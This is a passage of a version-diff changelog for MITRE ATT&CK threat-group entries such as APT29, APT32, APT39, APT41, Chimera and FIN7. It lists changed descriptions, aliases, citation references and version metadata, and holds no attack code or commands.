| external_references[1]['description'] | (Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020) | (Citation: Crowdstrike DNC June 2016) |
| external_references[2]['source_name'] | YTTRIUM | Cozy Bear |
| external_references[2]['description'] | (Citation: Microsoft Unidentified Dec 2018) | (Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: CrowdStrike StellarParticle January 2022) |
| external_references[3]['source_name'] | The Dukes | StellarParticle |
| external_references[3]['description'] | (Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020) | (Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: CrowdStrike StellarParticle January 2022) |
| external_references[4]['source_name'] | Cozy Bear | The Dukes |
| external_references[4]['description'] | (Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020) | (Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021) |
| external_references[5]['source_name'] | CozyDuke | APT29 |
| external_references[5]['description'] | (Citation: Crowdstrike DNC June 2016) | (Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)(Citation: Cybersecurity Advisory SVR TTP May 2021) |
| external_references[6]['source_name'] | F-Secure The Dukes | UNC2452 |
| external_references[6]['description'] | F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015. | (Citation: FireEye SUNBURST Backdoor December 2020) |
| external_references[7]['source_name'] | GRIZZLY STEPPE JAR | YTTRIUM |
| external_references[7]['description'] | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. | (Citation: Microsoft Unidentified Dec 2018) |
| external_references[8]['source_name'] | Crowdstrike DNC June 2016 | NOBELIUM |
| external_references[8]['description'] | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. | (Citation: MSTIC NOBELIUM Mar 2021)(Citation: MSTIC NOBELIUM May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: MSRC Nobelium June 2021) |
| external_references[9]['source_name'] | FireEye APT29 Nov 2018 | IRON HEMLOCK |
| external_references[9]['description'] | Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018. | (Citation: Secureworks IRON HEMLOCK Profile) |
| external_references[10]['source_name'] | ESET Dukes October 2019 | IRON RITUAL |
| external_references[10]['description'] | Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020. | (Citation: Secureworks IRON RITUAL Profile) |
| external_references[11]['source_name'] | NCSC APT29 July 2020 | NobleBaron |
| external_references[11]['description'] | National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020. | (Citation: SentinelOne NobleBaron June 2021) |
| external_references[12]['source_name'] | Microsoft Unidentified Dec 2018 | Dark Halo |
| external_references[12]['description'] | Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019. | (Citation: Volexity SolarWinds) |
| x_mitre_version | 1.4 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | IRON RITUAL | |
| aliases | IRON HEMLOCK | |
| aliases | NobleBaron | |
| aliases | Dark Halo | |
| aliases | StellarParticle | |
| aliases | NOBELIUM | |
| aliases | UNC2452 | |
| external_references | {'source_name': 'Crowdstrike DNC June 2016', 'description': 'Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.', 'url': 'https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/'} | |
| external_references | {'source_name': 'Volexity SolarWinds', 'description': 'Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.', 'url': 'https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/'} | |
| external_references | {'source_name': 'CrowdStrike SUNSPOT Implant January 2021', 'description': 'CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.', 'url': 'https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/'} | |
| external_references | {'source_name': 'CrowdStrike StellarParticle January 2022', 'description': 'CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.', 'url': 'https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/'} | |
| external_references | {'source_name': 'GRIZZLY STEPPE JAR', 'description': 'Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017.', 'url': 'https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf'} | |
| external_references | {'source_name': 'FireEye APT29 Nov 2018', 'description': 'Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html'} | |
| external_references | {'source_name': 'F-Secure The Dukes', 'description': 'F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.', 'url': 'https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf'} | |
| external_references | {'source_name': 'ESET Dukes October 2019', 'description': 'Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf'} | |
| external_references | {'source_name': 'FireEye SUNBURST Backdoor December 2020', 'description': 'FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html'} | |
| external_references | {'source_name': 'SentinelOne NobleBaron June 2021', 'description': 'Guerrero-Saade, J. (2021, June 1). NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks. Retrieved August 4, 2021.', 'url': 'https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/'} | |
| external_references | {'source_name': 'Microsoft Unidentified Dec 2018', 'description': 'Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.', 'url': 'https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/'} | |
| external_references | {'source_name': 'MSTIC NOBELIUM May 2021', 'description': 'Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.', 'url': 'https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/'} | |
| external_references | {'source_name': 'MSRC Nobelium June 2021', 'description': 'MSRC. (2021, June 25). New Nobelium activity. Retrieved August 4, 2021.', 'url': 'https://msrc-blog.microsoft.com/2021/06/25/new-nobelium-activity/'} | |
| external_references | {'source_name': 'MSTIC Nobelium Toolset May 2021', 'description': 'MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021.', 'url': 'https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/'} | |
| external_references | {'source_name': 'MSTIC NOBELIUM Mar 2021', 'description': 'Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.', 'url': 'https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/'} | |
| external_references | {'source_name': 'NCSC APT29 July 2020', 'description': 'National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.', 'url': 'https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf'} | |
| external_references | {'source_name': 'Cybersecurity Advisory SVR TTP May 2021', 'description': 'NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.', 'url': 'https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf'} | |
| external_references | {'source_name': 'NSA Joint Advisory SVR SolarWinds April 2021', 'description': 'NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021.', 'url': 'https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF'} | |
| external_references | {'source_name': 'Secureworks IRON HEMLOCK Profile', 'description': 'Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022.', 'url': 'http://www.secureworks.com/research/threat-profiles/iron-hemlock'} | |
| external_references | {'source_name': 'Secureworks IRON RITUAL Profile', 'description': 'Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022.', 'url': 'https://www.secureworks.com/research/threat-profiles/iron-ritual'} | |
| external_references | {'source_name': 'UK Gov Malign RIS Activity April 2021', 'description': 'UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021.', 'url': 'https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services'} | |
| external_references | {'source_name': 'UK Gov UK Exposes Russia SolarWinds April 2021', 'description': 'UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021.', 'url': 'https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise'} | |
| external_references | {'source_name': 'UK NSCS Russia SolarWinds April 2021', 'description': 'UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021.', 'url': 'https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise'} | |
| external_references | {'source_name': 'White House Imposing Costs RU Gov April 2021', 'description': 'White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021.', 'url': 'https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/'} |
Current version: 2.5
Version changed from: 2.3 → 2.5
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT32](https://attack.mitre.org/groups/G0050) is a threat g | t | 1 | [APT32](https://attack.mitre.org/groups/G0050) is a suspecte |
| > | roup that has been active since at least 2014. The group has | > | d Vietnam-based threat group that has been active since at l | ||
| > | targeted multiple private sector industries as well as with | > | east 2014. The group has targeted multiple private sector in | ||
| > | foreign governments, dissidents, and journalists with a str | > | dustries as well as foreign governments, dissidents, and jou | ||
| > | ong focus on Southeast Asian countries like Vietnam, the Phi | > | rnalists with a strong focus on Southeast Asian countries li | ||
| > | lippines, Laos, and Cambodia. They have extensively used str | > | ke Vietnam, the Philippines, Laos, and Cambodia. They have e | ||
| > | ategic web compromises to compromise victims. The group is b | > | xtensively used strategic web compromises to compromise vict | ||
| > | elieved to be Vietnam-based.(Citation: FireEye APT32 May 201 | > | ims.(Citation: FireEye APT32 May 2017)(Citation: Volexity Oc | ||
| > | 7)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET Oc | > | eanLotus Nov 2017)(Citation: ESET OceanLotus) | ||
| > | eanLotus) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-29 21:45:34.984000+00:00 | 2021-10-14 16:39:50.790000+00:00 |
| description | [APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus) | [APT32](https://attack.mitre.org/groups/G0050) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus) |
| external_references[1]['description'] | (Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017) | (Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021) |
| external_references[3]['description'] | (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017) | (Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021) |
| external_references[4]['description'] | (Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017) | (Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021) |
| x_mitre_version | 2.3 | 2.5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ESET OceanLotus Mar 2019', 'description': 'Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.', 'url': 'https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/'} | |
| external_references | {'source_name': 'Amnesty Intl. Ocean Lotus February 2021', 'description': 'Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021.', 'url': 'https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf'} |
Current version: 3.1
Version changed from: 2.3 → 3.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT39](https://attack.mitre.org/groups/G0087) is an Iranian | t | 1 | [APT39](https://attack.mitre.org/groups/G0087) is one of sev |
| > | cyber espionage group that has been active since at least 2 | > | eral names for cyberespionage activity conducted by the Iran | ||
| > | 014. They have targeted the telecommunication and travel ind | > | ian Ministry of Intelligence and Security (MOIS) through the | ||
| > | ustries to collect personal information that aligns with Ira | > | front company Rana Intelligence Computing since at least 20 | ||
| > | n's national priorities. (Citation: FireEye APT39 Jan 2019)( | > | 14. [APT39](https://attack.mitre.org/groups/G0087) has prima | ||
| > | Citation: Symantec Chafer Dec 2015) | > | rily targeted the travel, hospitality, academic, and telecom | ||
| > | munications industries in Iran and across Asia, Africa, Euro | ||||
| > | pe, and North America to track individuals and entities cons | ||||
| > | idered to be a threat by the MOIS.(Citation: FireEye APT39 J | ||||
| > | an 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI F | ||||
| > | LASH APT39 September 2020)(Citation: Dept. of Treasury Iran | ||||
| > | Sanctions September 2020)(Citation: DOJ Iran Indictments Sep | ||||
| > | tember 2020) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html | |
| external_references | https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-11 15:46:26.496000+00:00 | 2021-10-12 23:08:30.844000+00:00 |
| description | [APT39](https://attack.mitre.org/groups/G0087) is an Iranian cyber espionage group that has been active since at least 2014. They have targeted the telecommunication and travel industries to collect personal information that aligns with Iran's national priorities. (Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015) | [APT39](https://attack.mitre.org/groups/G0087) is one of several names for cyberespionage activity conducted by the Iranian Ministry of Intelligence and Security (MOIS) through the front company Rana Intelligence Computing since at least 2014. [APT39](https://attack.mitre.org/groups/G0087) has primarily targeted the travel, hospitality, academic, and telecommunications industries in Iran and across Asia, Africa, Europe, and North America to track individuals and entities considered to be a threat by the MOIS.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020) |
| external_references[1]['description'] | (Citation: FireEye APT39 Jan 2019) | (Citation: FireEye APT39 Jan 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020) |
| external_references[2]['source_name'] | Chafer | REMIX KITTEN |
| external_references[2]['description'] | Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: Dark Reading APT39 JAN 2019) | (Citation: Crowdstrike GTR2020 Mar 2020) |
| external_references[3]['source_name'] | FireEye APT39 Jan 2019 | ITG07 |
| external_references[3]['description'] | Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019. | (Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020) |
| external_references[4]['source_name'] | Symantec Chafer Dec 2015 | Chafer |
| external_references[4]['description'] | Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019. | Activities associated with APT39 largely align with a group publicly referred to as Chafer.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)(Citation: Dark Reading APT39 JAN 2019)(Citation: FBI FLASH APT39 September 2020)(Citation: Dept. of Treasury Iran Sanctions September 2020)(Citation: DOJ Iran Indictments September 2020) |
| external_references[5]['source_name'] | Dark Reading APT39 JAN 2019 | FireEye APT39 Jan 2019 |
| external_references[5]['description'] | Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020. | Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019. |
| external_references[5]['url'] | https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764 | https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html |
| x_mitre_version | 2.3 | 3.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | REMIX KITTEN | |
| aliases | ITG07 | |
| external_references | {'source_name': 'Symantec Chafer Dec 2015', 'description': 'Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.', 'url': 'https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets'} | |
| external_references | {'source_name': 'FBI FLASH APT39 September 2020', 'description': 'FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020.', 'url': 'https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf'} | |
| external_references | {'source_name': 'Dept. of Treasury Iran Sanctions September 2020', 'description': 'Dept. of Treasury. (2020, September 17). Treasury Sanctions Cyber Actors Backed by Iranian Intelligence. Retrieved December 10, 2020.', 'url': 'https://home.treasury.gov/news/press-releases/sm1127'} | |
| external_references | {'source_name': 'DOJ Iran Indictments September 2020', 'description': 'DOJ. (2020, September 17). Department of Justice and Partner Departments and Agencies Conduct Coordinated Actions to Disrupt and Deter Iranian Malicious Cyber Activities Targeting the United States and the Broader International Community. Retrieved December 10, 2020.', 'url': 'https://www.justice.gov/opa/pr/department-justice-and-partner-departments-and-agencies-conduct-coordinated-actions-disrupt'} | |
| external_references | {'source_name': 'Crowdstrike GTR2020 Mar 2020', 'description': 'Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf'} | |
| external_references | {'source_name': 'Dark Reading APT39 JAN 2019', 'description': 'Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020.', 'url': 'https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764'} |
Current version: 3.0
Version changed from: 1.1 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT41](https://attack.mitre.org/groups/G0096) is a group th | t | 1 | [APT41](https://attack.mitre.org/groups/G0096) is a threat g |
| > | at carries out Chinese state-sponsored espionage activity in | > | roup that researchers have assessed as Chinese state-sponsor | ||
| > | addition to financially motivated activity. [APT41](https:/ | > | ed espionage group that also conducts financially-motivated | ||
| > | /attack.mitre.org/groups/G0096) has been active since as ear | > | operations. Active since at least 2012, [APT41](https://atta | ||
| > | ly as 2012. The group has been observed targeting healthcare | > | ck.mitre.org/groups/G0096) has been observed targeting healt | ||
| > | , telecom, technology, and video game industries in 14 count | > | hcare, telecom, technology, and video game industries in 14 | ||
| > | ries.(Citation: FireEye APT41 Aug 2019) | > | countries. [APT41](https://attack.mitre.org/groups/G0096) ov | ||
| > | erlaps at least partially with public reporting on groups in | ||||
| > | cluding BARIUM and [Winnti Group](https://attack.mitre.org/g | ||||
| > | roups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Gr | ||||
| > | oup IB APT 41 June 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Kyaw Pyiyt Htet, @KyawPyiytHtet'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://content.fireeye.com/apt-41/rpt-apt41 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-24 00:51:25.764000+00:00 | 2021-10-15 00:28:08.413000+00:00 |
| description | [APT41](https://attack.mitre.org/groups/G0096) is a group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019) | [APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021) |
| external_references[2]['source_name'] | FireEye APT41 Aug 2019 | WICKED PANDA |
| external_references[2]['description'] | Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019. | (Citation: Crowdstrike GTR2020 Mar 2020) |
| x_mitre_version | 1.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | WICKED PANDA | |
| external_references | {'source_name': 'FireEye APT41 Aug 2019', 'description': 'Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.', 'url': 'https://content.fireeye.com/apt-41/rpt-apt41'} | |
| external_references | {'source_name': 'Group IB APT 41 June 2021', 'description': 'Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.', 'url': 'https://blog.group-ib.com/colunmtk_apt41'} | |
| external_references | {'source_name': 'Crowdstrike GTR2020 Mar 2020', 'description': 'Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.', 'url': 'https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf'} |
Current version: 1.3
Version changed from: 1.1 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 20:54:52.793000+00:00 | 2021-10-12 19:42:16.869000+00:00 |
| x_mitre_version | 1.1 | 1.3 |
Current version: 2.1
Version changed from: 1.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Chimera](https://attack.mitre.org/groups/G0114) is a suspec | t | 1 | [Chimera](https://attack.mitre.org/groups/G0114) is a suspec |
| > | ted China-based threat group, targeting the semiconductor in | > | ted China-based threat group that has been active since at l | ||
| > | dustry in Taiwan since at least 2018.(Citation: Cycraft Chim | > | east 2018 targeting the semiconductor industry in Taiwan as | ||
| > | era April 2020) | > | well as data from the airline industry.(Citation: Cycraft Ch | ||
| > | imera April 2020)(Citation: NCC Group Chimera January 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 20:59:57.694000+00:00 | 2022-03-25 19:35:55.074000+00:00 |
| description | [Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group, targeting the semiconductor industry in Taiwan since at least 2018.(Citation: Cycraft Chimera April 2020) | [Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021) |
| external_references[1]['source_name'] | Cycraft Chimera April 2020 | Chimera |
| external_references[1]['description'] | Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020. | (Citation: NCC Group Chimera January 2021) |
| x_mitre_version | 1.0 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Cycraft Chimera April 2020', 'description': 'Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020.', 'url': 'https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf'} | |
| external_references | {'source_name': 'NCC Group Chimera January 2021', 'description': 'Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021.', 'url': 'https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/'} |
Current version: 1.5
Version changed from: 1.3 → 1.5
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-31 12:43:39.280000+00:00 | 2021-05-26 12:32:58.912000+00:00 |
| x_mitre_version | 1.3 | 1.5 |
Current version: 3.2
Version changed from: 3.0 → 3.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 00:44:24.198000+00:00 | 2021-10-14 17:23:58.316000+00:00 |
| x_mitre_version | 3.0 | 3.2 |
Current version: 2.1
Version changed from: 1.5 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [FIN7](https://attack.mitre.org/groups/G0046) is a financial | t | 1 | [FIN7](https://attack.mitre.org/groups/G0046) is a financial |
| > | ly-motivated threat group that has primarily targeted the U. | > | ly-motivated threat group that has been active since 2013 pr | ||
| > | S. retail, restaurant, and hospitality sectors since mid-201 | > | imarily targeting the U.S. retail, restaurant, and hospitali | ||
